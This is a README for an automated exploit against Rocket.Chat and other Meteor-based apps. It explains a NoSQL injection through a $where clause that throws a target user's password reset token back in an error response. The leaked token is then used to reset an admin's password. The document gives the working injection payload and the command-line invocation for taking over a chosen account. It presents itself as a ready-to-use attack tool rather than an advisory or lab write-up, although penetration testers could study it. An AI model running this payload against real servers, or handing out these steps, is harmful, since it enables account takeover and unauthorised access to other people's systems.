Rocket.Chat NoSQLi Token Leak & Password Reset

An automated exploit script for Rocket.Chat (and Meteor-based applications) that leverages a NoSQL Injection via the $where clause to leak password reset tokens through server-side exceptions. Once the token is leaked, the script performs an unauthenticated password reset.

Vulnerability Overview

1. Authentication: The script authenticates as a standard user to gain access to the /api/v1/users.list endpoint.

2. NoSQL Injection: It uses the query parameter to inject a $where JavaScript clause.

3. Data Exfiltration: By using the throw statement within the injection, it forces the server to return an "uncaught exception" error containing the target user's password reset token.

4. Account Takeover: The script uses the leaked token to call resetPassword, changing the target account's password.

Usage

Prerequisites

• Python 3.x

• requests library

Bash

pip install requests

Execution

Bash

python3 exploit.py --url http://<TARGET_IP>:3000\
                   -u <YOUR_USER>\
                   -p <YOUR_PASS>\
                   -a <TARGET_ADMIN_USER>\
                   -ap <NEW_ADMIN_PASSWORD>

Command Line Arguments

Exploit Chain Detail

The core of the exploit is the injection string:

JavaScript

{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

When processed by the server, the database engine executes the anonymous function, crashes on the throw, and the application catches the exception, inadvertently passing the secret token back to the user in the JSON error response.